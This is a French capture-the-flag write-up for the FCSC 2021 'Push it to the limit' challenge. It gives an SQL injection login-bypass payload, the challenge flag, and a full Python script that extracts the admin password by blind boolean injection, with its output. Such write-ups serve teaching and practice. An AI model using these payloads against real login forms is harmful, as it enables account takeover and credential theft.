FCSC 2021 - Intro - Push it to the limit

Table des matières :

Exploitez une injection SQL afin de vous connecter sur l’application web.

http://challenges2.france-cybersecurity-challenge.fr:5000/


Résolution

Cette application Web comporte une page de login exposée :

On remarque que lorsque l’on entre des caractères spéciaux (tels que des double quotes ") l’application plante et nous indique Erreur : near "password": syntax error :

Nous pouvons donc réaliser une injection SQL simple, et rajouter -- - à la fin pour commenter tout le reste de la requête SQL et éviter ainsi les syntax error.

Username : admin" and password like "%" -- -
Password : whatever

L’injection SQL fonctionne et nous obtenons le flag :

FCSC{5012fb37d7886deaa5c4e209cf683286}

Pour aller plus loin

Comme nous avons ici une injection SQL avec retour booléen (boolean-based SQLI), nous pouvons aller plus loin et récupérer le mot de passe de l’administrateur, caractère par caractère. Pour cela, nous devons d’abord trouver la longeur du mot de passe, puis bruteforcer tous les caractères à chaque position donnée dans le mot de passe

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import string

def find_password_length():
    passlen = 0
    searching = True
    while searching == True:
        passlen += 1
        print('\r[>] Trying password length %d' % passlen, end="")
        r = requests.post(
            "http://challenges2.france-cybersecurity-challenge.fr:5000/",
            data = {
                "username" : 'admin" and LENGTH(password) = %d -- -' % passlen,
                "password" : "",
                "submit"   : "",
            }
        )
        if b'Identifiants incorrect' not in r.content:
            searching = False
    print('\r[+] Found password length %d !' % passlen)
    return passlen

def find_next_password_char(startpass, passlen):
    for letter in string.printable[:-5]:
        print('\r[>] Trying password : %s%s' % (startpass, letter), end="")
        r = requests.post(
            "http://challenges2.france-cybersecurity-challenge.fr:5000/",
            data = {
                "username" : 'admin" and password like \'%s%s%%\' -- -' % (startpass, letter),
                "password" : "",
                "submit"   : "",
            }
        )
        if b'Identifiants incorrect' not in r.content:
            print('\r[+] Found password letter at index %02d : %s !           ' % (len(startpass), letter))
            return letter


password_length = find_password_length()
password = ""
for k in range(password_length):
    password += find_next_password_char(password, password_length)

print("[+] Found password %s" % password)

Nous lançons le script, et nous obtenons le mot de passe de l’administrateur:

$ ./solve.py
[+] Found password length 16 !
[+] Found password letter at index 0 : g !           
[+] Found password letter at index 1 : j !           
[+] Found password letter at index 2 : f !           
[+] Found password letter at index 3 : 8 !           
[+] Found password letter at index 4 : b !           
[+] Found password letter at index 5 : q !           
[+] Found password letter at index 6 : 4 !           
[+] Found password letter at index 7 : q !           
[+] Found password letter at index 8 : 5 !           
[+] Found password letter at index 9 : 7 !           
[+] Found password letter at index 10 : 7 !           
[+] Found password letter at index 11 : b !           
[+] Found password letter at index 12 : q !           
[+] Found password letter at index 13 : f !           
[+] Found password letter at index 14 : 4 !           
[+] Found password letter at index 15 : c !           
[+] Found password gjf8bq4q577bqf4c